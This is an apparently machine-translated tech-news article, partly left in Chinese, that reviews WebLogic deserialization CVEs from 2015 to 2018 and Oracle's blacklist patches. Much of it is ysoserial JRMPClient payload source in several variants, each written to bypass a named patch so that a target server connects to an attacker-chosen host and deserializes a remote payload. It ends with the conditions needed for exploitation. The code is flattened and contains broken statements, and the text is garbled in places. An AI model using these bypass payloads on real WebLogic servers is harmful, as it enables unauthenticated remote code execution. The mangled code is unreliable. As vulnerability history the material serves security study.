Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

History of Weblogic deserialization vulnerabilities

2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

Brief introduction to Historical 0x00 weblogic of Weblogic deserialization vulnerabilities

WebLogic is an application server produced by American Oracle Company. Specifically, it is a middleware based on JAVAEE architecture. WebLogic is a Java application server for developing, integrating, deploying and managing large-scale distributed Web applications, network applications and database applications.

Review of Weblogic direct deserialization vulnerabilities 1. CVE-2015-4852

Remote code execution is realized by using the basic class libraries of Java deserialization and Apache Commons Collections.

Looking at the patch of CVE-2015-4852, it is found that weblogic fixes this vulnerability in the form of a blacklist, in which the fix is very passive, and there is a risk of being bypassed. As long as a deserialization class that is available and is not outside the blacklist is found, it can cause new deserialization × ×.

2. CVE-2016-0638

There are three points for weblogic deserialization, and the blacklist ClassFilter.class also acts on these three locations:

Weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStreamweblogic.rjvm.MsgAbbrevInputStream.classweblogic.iiop.Utils.class

Bypass using readExternal () of weblogic.jms.common.StreamMessageImpl

3. CVE-2016-3510

The principle is that the deserialized object is encapsulated in weblogic.corba.utils.MarshalledObject, and then the MarshalledObject is serialized to generate payload bytecode. When deserialization, MarshalledObject is not in the WebLogic blacklist, so it can be deserialized normally. When MarshalledObject object calls readObject during deserialization, the serialized object encapsulated by MarshalledObject is deserialized again, thus avoiding the blacklist check.

Review of 0x02 Weblogic JRMP deserialization vulnerabilities

JRMP protocol: Java remote message exchange protocol JRMP, or Java Remote MessagingProtocol, is a protocol specific to Java technology and used to find and reference remote objects. This is the line layer protocol that runs under the Java remote method call RMI and above the TCP/IP.

RMI: short for Remote Method Invocation and part of J2SE

It allows programmers to develop distributed applications based on Java. A RMI object is a remote Java object

Its methods can be called from another Java virtual machine (or even across the network)

You can call a method of a remote object just like a method of a local Java object

Make objects distributed in different JVM look and behave like local objects.

1. CVE-2017-3248

This vulnerability is to take advantage of the defect of RMI mechanism to achieve the purpose of arbitrary deserialization payload through JRMP protocol. Using ysoserial's JRMPLister, this will serialize a RemoteObjectInvocationHandler that uses UnicastRef to establish a TCP connection to the remote end to get the RMI registry. This connection uses the JRMP protocol, so the client deserializes anything in the server response, enabling unauthenticated remote code execution.

JRMPLister Code:

Package ysoserial.payloads;import java.lang.reflect.Proxy;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Random;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner / * * UnicastRef.newCall (RemoteObject, Operation [], int, long) * DGCImpl_Stub.dirty (ObjID [], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall (Set, long) * DGCClient$EndpointEntry.registerRefs (List) * DGCClient.registerRefs (Endpoint, List) * LiveRef.read (ObjectInput, boolean) * UnicastRef.readExternal (ObjectInput) * * Thread.start () * DGCClient$EndpointEntry. (Endpoint) * DGCClient$EndpointEntry.lookup (Endpoint) * DGCClient.registerRefs (Endpoint, List) * LiveRef.read (ObjectInput Boolean) * UnicastRef.readExternal (ObjectInput) * * Requires: *-JavaSE * * Argument: *-host:port to connect to Host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @ author mbechler * / @ SuppressWarnings ({"restriction"}) @ PayloadTest (harness = "ysoserial.payloads.JRMPReverseConnectSMTest") @ Authors ({Authors.MBECHLER}) public class JRMPClient extends PayloadRunner implements ObjectPayload {public Registry getObject (final String command) throws Exception {String host Int port; int sep = command.indexOf (':'); if (sep

< 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); }} 修复方式只是在resolveProxyClass进行一个简单的判断,拦截java.rmi.registry.Registry接口。所以很快就有了下一个绕过。 2. CVE-2018-2628 网上公开的绕CVE-2017-3248有这几种方法: 第一种: 修改ysoerial的JRMPClient,精简了原来的payload,直接就是一个sun.rmi.server.UnicastRef对象。因为Proxy在这里并不是必需的,所以去掉之后对反序列化利用没有影响。payload中没有了proxy,weblogic反序列化的时候,resolveProxyClass根本就没有被调用到,所以就bypass了CVE-2017-3248的patch。 package ysoserial.payloads;import java.lang.reflect.Proxy;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Random;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;/** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set, long) * DGCClient$EndpointEntry.registerRefs(List) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Requires: * - JavaSE * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @author mbechler */@SuppressWarnings ( { "restriction"} )@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")@Authors({ Authors.MBECHLER })public class JRMPClient extends PayloadRunner implements ObjectPayload { public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); }} 第二种:替换接口 绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry,从而绕过resolveProxyClass的判断。其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map package ysoserial.payloads;import java.lang.reflect.Proxy;import java.rmi.activation.Activator;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Random;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;/** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set, long) * DGCClient$EndpointEntry.registerRefs(List) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Requires: * - JavaSE * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @author mbechler */@SuppressWarnings ( { "restriction"} )@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")@Authors({ Authors.MBECHLER })public class JRMPClient extends PayloadRunner implements ObjectPayload { public Activator getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Activator.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); }} 第三种:weblogic.jms.common.StreamMessageImpl StreamMessageImpl这个点在反序列化的时候没有resolveProxyClass检查,从而绕过。 Oracle在2018年4月发布的补丁中修复方式是将sun.rmi.server.UnicastRef加入了黑名单中,weblogic.utils.io.oif.WebLogicFilterConfig.class: private static final String[] DEFAULT_LIMITS = { "maxdepth=100" }; private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" }; private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" }; 这个修复方式只对提交的bypass(Payload 1)有效,而Payload 2和3依然可以使用。分析了一下后两个payload依然可以使用的原因: 主要是sun.rmi.server.UnicastRef经过了java.rmi.server.RemoteObjectInvocationHandler的封装,在序列化生成payload时,修改了UnicastRef对象写入流程。 3. CVE-2018-2893 针对前面漏洞没有修复彻底的问题,在今年7月份的补丁中进行了如下修复: private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" }; 黑名单进行了更新: java.rmi.activation.*sun.rmi.server.*java.rmi.server.RemoteObjectInvocationHandlerjava.rmi.server.UnicastRemoteObject0x03 绕过CVE-2018-2893 CVE-2018-2893还是可以继续绕的,根据前面的分析可知,我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandler的类进行替换,就能继续绕过了。那么这个类应该满足以下条件: 继承远程类:java.rmi.server.RemoteObject不在黑名单里边(java.rmi.activation. 、sun.rmi.server.) 随便找了一下,符合条件的挺多的: javax.management.remote.rmi.RMIConnectionImpl_Stubcom.sun.jndi.rmi.registry.ReferenceWrapper_Stubjavax.management.remote.rmi.RMIServerImpl_Stubsun.rmi.registry.RegistryImpl_Stubsun.rmi.transport.DGCImpl_Stub RMIConnectionImpl_Stub 继承至-->

Java.rmi.server.RemoteStub inherits to-- > java.rmi.server.RemoteObject

You can continue to use payload with a slight change:

Package ysoserial.payloads;import java.rmi.server.ObjID;import java.util.Random;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import ysoserial.payloads.util.PayloadRunner;import javax.management.remote.rmi.RMIConnectionImpl_Stub;@SuppressWarnings ({"restriction"}) public class JRMPClient3 extends PayloadRunner implements ObjectPayload {public Object getObject (final String command) throws Exception {String host; int port Int sep = command.indexOf (':'); if (sep < 0) {port = new Random (). NextInt (65535); host = command;} else {host = command.substring (0, sep); port = Integer.valueOf (sep + 1);} ObjID id = new ObjID (new Random (). NextInt ()) / / RMI registry TCPEndpoint te = new TCPEndpoint (host, port); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false)); RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub (ref); return stub;} public static void main (final String [] args) throws Exception {Thread.currentThread (). SetContextClassLoader (JRMPClient3.class.getClassLoader ()); PayloadRunner.run (JRMPClient3.class, args);} 0x04 utilization conditions

After RMIConnectionImpl_Stub replaces RemoteObjectInvocationHandler, payload can be used again.

Subsequent utilization needs to cooperate with Jdk7u21 to execute commands:

1. The server does not disable T3 and T3s protocols.

2. The weblogic server needs to be able to access the public network before it can initiate JRMP requests.

3. The server uses a lower version of jdk.

Reference link:

Https://xz.aliyun.com/t/2479

Https://paper.seebug.org/584/

Http://drops.the404.me/637.html

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report